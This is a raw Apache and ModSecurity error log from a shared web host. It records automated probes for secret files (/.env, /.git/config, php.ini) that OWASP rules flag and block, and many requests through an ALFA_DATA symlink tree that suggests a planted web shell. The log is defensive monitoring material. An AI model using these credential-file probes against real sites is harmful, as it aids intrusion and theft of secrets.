[Sun Oct 25 04:06:32.523248 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at24iFTnwNJm6o1fQZIjCgAAAAI"]
[Sun Oct 25 04:06:32.619220 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at24iFTnwNJm6o1fQZIjCgAAAAI"]
[Sun Oct 25 04:06:32.619545 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at24iFTnwNJm6o1fQZIjCgAAAAI"]
[Sun Oct 25 04:06:32.732551 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:64326] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at24iIHtOs-nfC4GshpSBQAAABc"]
[Sun Oct 25 04:06:32.732704 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:64326] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at24iIHtOs-nfC4GshpSBQAAABc"]
[Sun Oct 25 04:06:32.732960 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:64326] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at24iIHtOs-nfC4GshpSBQAAABc"]
[Sun Oct 25 04:06:32.895150 2026] [proxy_fcgi:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 04:06:32.693324 2026] [security2:error] [pid 2795519:tid 2795519] [client 93.123.109.247:64318] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /front/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/front/.env"] [unique_id "at24iBnFg98qhcJASwXShwAAAAQ"]
[Sun Oct 25 04:06:32.919517 2026] [security2:error] [pid 2795519:tid 2795519] [client 93.123.109.247:64318] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/front/.env"] [unique_id "at24iBnFg98qhcJASwXShwAAAAQ"]
[Sun Oct 25 04:06:32.919824 2026] [security2:error] [pid 2795519:tid 2795519] [client 93.123.109.247:64318] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/front/.env"] [unique_id "at24iBnFg98qhcJASwXShwAAAAQ"]
[Sun Oct 25 04:06:32.946201 2026] [proxy_fcgi:error] [pid 2775684:tid 2775684] [client 93.123.109.247:13938] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 04:06:33.055559 2026] [proxy_fcgi:error] [pid 2795518:tid 2795518] [client 93.123.109.247:64340] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 04:06:33.197933 2026] [proxy_fcgi:error] [pid 2795543:tid 2795543] [client 93.123.109.247:13946] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 04:06:34.616099 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 50.19.102.70:6073] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/resource4
[Sun Oct 25 04:06:42.340173 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 18.211.148.239:31001] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:06:46.447712 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.218.35.239:15527] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:06:47.215364 2026] [core:error] [pid 2795519:tid 2795519] (13)Permission denied: [client 85.208.96.202:17288] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/libata/sections/__tracepoints_strings
[Sun Oct 25 04:06:50.430947 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 3.218.35.239:27809] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:06:54.451153 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 52.202.52.82:12400] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/exar_serial/remove_id
[Sun Oct 25 04:06:55.626795 2026] [security2:error] [pid 2781030:tid 2781030] [client 185.191.171.5:51560] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/mellanox/mlxsw_spectrum2-29.2008.1310.mfa2"] [unique_id "at24n7QKh4dfs72fmHxwUAAAAAE"]
[Sun Oct 25 04:06:55.626834 2026] [security2:error] [pid 2781030:tid 2781030] [client 185.191.171.5:51560] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/mellanox/mlxsw_spectrum2-29.2008.1310.mfa2"] [unique_id "at24n7QKh4dfs72fmHxwUAAAAAE"]
[Sun Oct 25 04:06:58.750145 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 3.221.222.168:42395] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:07:02.348244 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 34.235.239.240:25981] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:07:02.406054 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 85.208.96.210:44400] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/shrink
[Sun Oct 25 04:07:06.503624 2026] [core:error] [pid 2781480:tid 2781480] (13)Permission denied: [client 18.213.240.226:8680] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0303:00/physical_node1/driver/unbind
[Sun Oct 25 04:07:14.358419 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 3.212.219.113:13147] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:07:18.537171 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 34.236.185.101:44187] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:07:24.665174 2026] [proxy_fcgi:error] [pid 2781523:tid 2781523] [client 172.173.112.161:3076] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 04:07:24.729457 2026] [proxy_fcgi:error] [pid 2781523:tid 2781523] [client 172.173.112.161:3076] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 04:07:24.846351 2026] [proxy_fcgi:error] [pid 2781523:tid 2781523] [client 172.173.112.161:3076] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 04:07:26.406353 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 23.23.214.190:23911] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:07:32.450035 2026] [core:error] [pid 2795519:tid 2795519] (13)Permission denied: [client 85.208.96.201:10724] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hashtab_node/red_zone
[Sun Oct 25 04:07:42.584671 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 54.225.199.17:59464] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:07:46.340012 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 3.220.148.166:10234] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:07:50.448192 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 44.212.131.50:47748] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:07:54.346025 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 52.204.37.237:30628] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:07:54.346211 2026] [security2:error] [pid 2781481:tid 2781481] [client 52.204.37.237:30628] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/consistent_dma_mask_bits"] [unique_id "at242i7GhhaIo05efijDaQAAAAc"]
[Sun Oct 25 04:07:54.346258 2026] [security2:error] [pid 2781481:tid 2781481] [client 52.204.37.237:30628] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/consistent_dma_mask_bits"] [unique_id "at242i7GhhaIo05efijDaQAAAAc"]
[Sun Oct 25 04:07:58.329062 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 100.29.34.97:39655] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:08:02.397298 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 44.215.235.20:62130] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:08:10.362164 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 3.218.103.254:36850] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:08:14.497999 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 3.225.45.252:11266] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/rescan
[Sun Oct 25 04:08:18.482102 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 54.85.109.140:3800] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:11/eject
[Sun Oct 25 04:08:26.473416 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 54.86.59.155:23890] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:08:34.380445 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 18.235.158.19:45825] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:08:34.732900 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 185.191.171.13:26780] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/aliases
[Sun Oct 25 04:08:38.362595 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 52.200.251.20:5090] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:08:45.964902 2026] [security2:error] [pid 2762145:tid 2762145] [client 195.178.110.105:16684] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/cms/"] [unique_id "at25DVTnwNJm6o1fQZIjFgAAAAI"]
[Sun Oct 25 04:08:45.964955 2026] [security2:error] [pid 2762145:tid 2762145] [client 195.178.110.105:16684] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/cms/"] [unique_id "at25DVTnwNJm6o1fQZIjFgAAAAI"]
[Sun Oct 25 04:08:50.429551 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 52.7.33.248:14262] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:08:58.355098 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 98.84.200.43:25884] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:09:02.580388 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 54.90.8.255:45826] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:09:14.343331 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 44.197.76.210:31383] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:09:30.504869 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 34.231.45.47:52954] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:09:30.505108 2026] [security2:error] [pid 2781481:tid 2781481] [client 34.231.45.47:52954] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/PNP0B00:00/physical_node/power/wakeup_last_time_ms"] [unique_id "at25Oi7GhhaIo05efijDcQAAAAc"]
[Sun Oct 25 04:09:30.505361 2026] [security2:error] [pid 2781481:tid 2781481] [client 34.231.45.47:52954] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/PNP0B00:00/physical_node/power/wakeup_last_time_ms"] [unique_id "at25Oi7GhhaIo05efijDcQAAAAc"]
[Sun Oct 25 04:09:31.937193 2026] [core:error] [pid 2781480:tid 2781480] (13)Permission denied: [client 185.191.171.8:52924] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-1k/aliases
[Sun Oct 25 04:09:35.515152 2026] [security2:error] [pid 2762145:tid 2762145] [client 130.12.180.167:62422] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at25P1TnwNJm6o1fQZIjGQAAAAI"]
[Sun Oct 25 04:09:35.515416 2026] [security2:error] [pid 2762145:tid 2762145] [client 130.12.180.167:62422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at25P1TnwNJm6o1fQZIjGQAAAAI"]
[Sun Oct 25 04:09:35.515813 2026] [security2:error] [pid 2762145:tid 2762145] [client 130.12.180.167:62422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at25P1TnwNJm6o1fQZIjGQAAAAI"]
[Sun Oct 25 04:09:38.424953 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 54.156.248.117:39866] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:09:50.361558 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 3.216.227.216:58333] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:09:54.598950 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 52.6.232.201:50151] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:10:04.941210 2026] [security2:error] [pid 2781030:tid 2781030] [client 199.165.159.9:11484] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "157"] [id "920180"] [rev "1"] [msg "POST request missing Content-Length Header."] [data "0"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at25XLQKh4dfs72fmHxwYQAAAAE"]
[Sun Oct 25 04:10:34.563436 2026] [core:error] [pid 2781523:tid 2781523] (13)Permission denied: [client 34.194.226.74:13083] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/resource4
[Sun Oct 25 04:10:44.397781 2026] [authz_core:error] [pid 2781030:tid 2781030] [client 172.104.172.197:33266] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 04:10:46.814344 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 3.81.253.213:60313] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:12/subsystem/drivers/ec/unbind
[Sun Oct 25 04:10:52.126065 2026] [authz_core:error] [pid 2762145:tid 2762145] [client 74.7.241.60:45078] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: https://www.teaserspublichouse.com
[Sun Oct 25 04:10:54.786328 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 50.16.248.61:33309] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:10:54.906852 2026] [authz_core:error] [pid 2762145:tid 2762145] [client 74.7.241.60:45078] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: https://sherwinpinturas.com/
[Sun Oct 25 04:10:57.542028 2026] [authz_core:error] [pid 2762145:tid 2762145] [client 74.7.241.60:45078] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: https://sherwinpinturas.com/
[Sun Oct 25 04:10:59.974187 2026] [authz_core:error] [pid 2762145:tid 2762145] [client 74.7.241.60:45078] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: https://sherwinpinturas.com/
[Sun Oct 25 04:11:04.140768 2026] [authz_core:error] [pid 2762145:tid 2762145] [client 74.7.241.60:45078] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: https://sherwinpinturas.com/?C=M;O=A
[Sun Oct 25 04:11:05.755993 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 85.208.96.211:64578] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:11:05.916921 2026] [authz_core:error] [pid 2762145:tid 2762145] [client 74.7.241.60:45078] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: https://sherwinpinturas.com/?C=D;O=A
[Sun Oct 25 04:11:06.887860 2026] [core:error] [pid 2781481:tid 2781481] (13)Permission denied: [client 185.191.171.16:16518] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/object_size
[Sun Oct 25 04:11:07.520359 2026] [authz_core:error] [pid 2762145:tid 2762145] [client 74.7.241.60:45078] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: https://sherwinpinturas.com/?C=S;O=A
[Sun Oct 25 04:11:08.175067 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 85.208.96.200:58130] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:11:10.494363 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 34.225.138.57:22761] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:11:14.577081 2026] [ssl:error] [pid 2795519:tid 2795519] (70014)End of file found: [client 3.222.190.107:61511] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:11:17.560874 2026] [security2:error] [pid 2775712:tid 2775712] [client 199.165.159.9:49366] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at25pQLaiqtlZaJBsx4YLgAAAA0"]
[Sun Oct 25 04:11:17.561132 2026] [security2:error] [pid 2775712:tid 2775712] [client 199.165.159.9:49366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at25pQLaiqtlZaJBsx4YLgAAAA0"]
[Sun Oct 25 04:11:17.561528 2026] [security2:error] [pid 2775712:tid 2775712] [client 199.165.159.9:49366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at25pQLaiqtlZaJBsx4YLgAAAA0"]
[Sun Oct 25 04:11:18.737212 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 54.157.99.244:13640] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/resource4_wc
[Sun Oct 25 04:11:20.367838 2026] [security2:error] [pid 2781481:tid 2781481] [client 43.153.35.128:54656] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/betaok/vendor/"] [unique_id "at25qC7GhhaIo05efijDdgAAAAc"]
